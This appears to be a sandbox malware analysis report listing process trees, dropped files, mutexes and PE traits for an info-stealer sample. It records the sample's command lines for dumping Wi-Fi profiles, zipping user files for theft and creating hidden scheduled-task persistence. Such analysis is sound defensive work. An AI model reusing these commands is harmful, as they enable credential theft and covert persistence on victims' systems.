memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer	memstr_a9d75052-c

PE file contains section with special chars

Source: UeW2b6mU6Z.exe	Static PE information: section name:
Source: UeW2b6mU6Z.exe	Static PE information: section name: .idata
Source: explorha.exe.0.dr	Static PE information: section name:
Source: explorha.exe.0.dr	Static PE information: section name: .idata
Source: amert[1].exe.6.dr	Static PE information: section name:
Source: amert[1].exe.6.dr	Static PE information: section name: .idata
Source: amert[1].exe.6.dr	Static PE information: section name:
Source: amert.exe.6.dr	Static PE information: section name:
Source: amert.exe.6.dr	Static PE information: section name: .idata
Source: amert.exe.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: 590971cd60.exe.6.dr	Static PE information: section name:
Source: 590971cd60.exe.6.dr	Static PE information: section name: .idata
Source: 590971cd60.exe.6.dr	Static PE information: section name:
Source: sarra[1].exe.6.dr	Static PE information: section name:
Source: sarra[1].exe.6.dr	Static PE information: section name: .idata
Source: sarra[1].exe.6.dr	Static PE information: section name:
Source: chrosha.exe.12.dr	Static PE information: section name:
Source: chrosha.exe.12.dr	Static PE information: section name: .idata
Source: chrosha.exe.12.dr	Static PE information: section name:
Source: RageMP131.exe.20.dr	Static PE information: section name:
Source: RageMP131.exe.20.dr	Static PE information: section name: .idata
Source: RageMP131.exe.20.dr	Static PE information: section name:
Source: MPGPH131.exe.20.dr	Static PE information: section name:
Source: MPGPH131.exe.20.dr	Static PE information: section name: .idata
Source: MPGPH131.exe.20.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Code function: 6_2_00AEE227 NtFlushProcessWriteBuffers,NtFlushProcessWriteBuffers,

6_2_00AEE227

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	File created: C:\Windows\Tasks\explorha.job	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe	File created: C:\Windows\Tasks\chrosha.job
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Code function: 0_2_00C8A220	0_2_00C8A220
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Code function: 0_2_00C84330	0_2_00C84330
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Code function: 0_2_00C794E3	0_2_00C794E3
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Code function: 0_2_00C88DBB	0_2_00C88DBB
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Code function: 0_2_00C88EDB	0_2_00C88EDB
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Code function: 0_2_00C88669	0_2_00C88669
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Code function: 0_2_00C44E60	0_2_00C44E60
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Code function: 0_2_00C847C8	0_2_00C847C8
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_00B1A220	1_2_00B1A220
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_00B14330	1_2_00B14330
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_00B094E3	1_2_00B094E3
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_00B18DBB	1_2_00B18DBB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_00B18EDB	1_2_00B18EDB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_00AD4E60	1_2_00AD4E60
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_00B18669	1_2_00B18669
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 1_2_00B147C8	1_2_00B147C8
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00B1A220	2_2_00B1A220
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00B14330	2_2_00B14330
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00B094E3	2_2_00B094E3
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00B18DBB	2_2_00B18DBB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00B18EDB	2_2_00B18EDB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00AD4E60	2_2_00AD4E60
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00B18669	2_2_00B18669
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 2_2_00B147C8	2_2_00B147C8
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00ADDD40	6_2_00ADDD40
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00B1A220	6_2_00B1A220
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00B14330	6_2_00B14330
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00AF24A3	6_2_00AF24A3
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00B18669	6_2_00B18669
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00B147C8	6_2_00B147C8
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00AF2C92	6_2_00AF2C92
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00B18DBB	6_2_00B18DBB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00B18EDB	6_2_00B18EDB
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00AD4E60	6_2_00AD4E60
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00AF5481	6_2_00AF5481
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00B094E3	6_2_00B094E3
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: 6_2_00AF7822	6_2_00AF7822

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll 3C97BB410E49B11AF8116FEB7240B7101E1967CAE7538418C45C3D2E072E8103

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Code function: String function: 00C59750 appears 122 times
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: String function: 00B0A433 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: String function: 00AEF620 appears 82 times
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: String function: 00AEEFE2 appears 84 times
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: String function: 00AE9750 appears 367 times
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: String function: 00AE9090 appears 44 times
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: String function: 00AEECF8 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Code function: String function: 00AEECE3 appears 75 times

Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5804 -s 2108

Source: UeW2b6mU6Z.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: UeW2b6mU6Z.exe	Static PE information: Section: ZLIB complexity 0.9979945123994638
Source: explorha.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979945123994638
Source: amert[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.9979554063360881
Source: amert[1].exe.6.dr	Static PE information: Section: mxcnarui ZLIB complexity 0.9946192586994986
Source: amert.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9979554063360881
Source: amert.exe.6.dr	Static PE information: Section: mxcnarui ZLIB complexity 0.9946192586994986
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9915716795224007
Source: 590971cd60.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9915716795224007
Source: sarra[1].exe.6.dr	Static PE information: Section: ZLIB complexity 0.991563424556213
Source: chrosha.exe.12.dr	Static PE information: Section: ZLIB complexity 0.9979554063360881
Source: chrosha.exe.12.dr	Static PE information: Section: mxcnarui ZLIB complexity 0.9946192586994986
Source: RageMP131.exe.20.dr	Static PE information: Section: ZLIB complexity 0.9915716795224007
Source: MPGPH131.exe.20.dr	Static PE information: Section: ZLIB complexity 0.9915716795224007

Source: UeW2b6mU6Z.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: explorha.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.phis.troj.spyw.evad.winEXE@108/150@20/15

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

File created: C:\Users\user\AppData\Roaming\a091ec0a6e2227

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:512:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7324:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7484:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7828:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5804
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Mutant created: \Sessions\1\BaseNamedObjects\c1ec479e5342a25940592acf24703eb2
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6300:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess4584
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7312:120:WilError_03

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe

File created: C:\Users\user\AppData\Local\Temp\09fd851a4f

Jump to behavior

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main

Source: 590971cd60.exe, 00000014.00000003.2487222595.00000000053D0000.00000004.00001000.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000002.2886812747.0000000000B81000.00000040.00000001.01000000.00000014.sdmp, MPGPH131.exe, 00000026.00000003.2553507559.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2747704687.0000000000631000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: 590971cd60.exe, 00000014.00000003.2487222595.00000000053D0000.00000004.00001000.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000002.2886812747.0000000000B81000.00000040.00000001.01000000.00000014.sdmp, MPGPH131.exe, 00000026.00000003.2553507559.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000002.2747704687.0000000000631000.00000040.00000001.01000000.00000017.sdmp	Binary or memory string: UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');
Source: 590971cd60.exe, 00000014.00000003.2594923765.0000000007F59000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000002.2895094368.0000000007F60000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2597045577.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2598755903.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2599973969.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2599301102.0000000007F57000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2630675144.0000000007F5C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE autofill_edge_extended ( name VARCHAR, value VARCHAR, guid VARCHAR, source INTEGER NOT NULL DEFAULT 0, PRIMARY KEY (name, value))L DEFAULT 0, use_date INTEGER NOT NULL DEFAULT 0, date_modified INTEGER NOT NULL DEFAULT 0)ount INTEGER NOT NULL DEFAULT 0, use_date INTEGER NOT NULL DEFAULT 0)R DEFAULT 0, card_art_url VARCHAR)R DEFAULT 0, last_name_status INTEGER DEFAULT 0, first_last_name_status INTEGER DEFAULT 0, conjunction_last_name_status INTEGER DEFAULT 0, second_last_name_status INTEGER DEFAULT 0, full_name_status INTEGER DEFAULT 0, full_name_with_honorific_prefix VARCHAR, full_name_with_honorific_prefix_status INTEGER DEFAULT 0)0, zip_code_status INTEGER DEFAULT 0, sorting_code_status INTEGER DEFAULT 0, country_code_status INTEGER DEFAULT 0, apartment_number VARCHAR, floor VARCHAR, apartment_number_status INTEGER DEFAULT 0, floor_status INTEGER DEFAULT 0)c`~;
Source: rundll32.exe, 00000008.00000002.2527620455.0000022BD7150000.00000004.00000020.00020000.00000000.sdmp, 590971cd60.exe, 00000014.00000003.2582192926.0000000007F4D000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 00000026.00000003.2722662732.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: UeW2b6mU6Z.exe

ReversingLabs: Detection: 39%

Source: UeW2b6mU6Z.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorha.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorha.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorha.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe

File read: C:\Users\user\Desktop\UeW2b6mU6Z.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\UeW2b6mU6Z.exe "C:\Users\user\Desktop\UeW2b6mU6Z.exe"
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe "C:\Users\user\AppData\Local\Temp\1000054001\amert.exe"
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe "C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe "C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe"
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, Main
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5564 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3896 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe "C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe"
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 HR" /sc HOURLY /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\MPGPH131\MPGPH131.exe" /tn "MPGPH131 LG" /sc ONLOGON /rl HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: unknown	Process created: C:\ProgramData\MPGPH131\MPGPH131.exe C:\ProgramData\MPGPH131\MPGPH131.exe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2000,i,11986883696083450326,11027901686881542534,262144 /prefetch:8
Source: unknown	Process created: C:\ProgramData\MPGPH131\MPGPH131.exe C:\ProgramData\MPGPH131\MPGPH131.exe
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=3476 --field-trial-handle=1908,i,11369697979599954763,617967172269754470,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe "C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe"
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5804 -s 2108
Source: unknown	Process created: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe "C:\Users\user\AppData\Local\RageMP131\RageMP131.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe "C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe"
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2276 --field-trial-handle=2028,i,1801343791717140739,10780303537673974787,262144 /prefetch:8
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4584 -s 2156
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4752 --field-trial-handle=2028,i,1801343791717140739,10780303537673974787,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4860 --field-trial-handle=2028,i,1801343791717140739,10780303537673974787,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe "C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe"
Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, Main	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000054001\amert.exe "C:\Users\user\AppData\Local\Temp\1000054001\amert.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe "C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe "C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Process created: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe "C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Compress-Archive -Path 'C:\Users\user\AppData\Local\Temp\_Files_\' -DestinationPath 'C:\Users\user\AppData\Local\Temp\246122658369_Desktop.zip' -CompressionLevel Optimal	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000055001\bad48ea9ac.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" https://www.youtube.com/account
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, Main
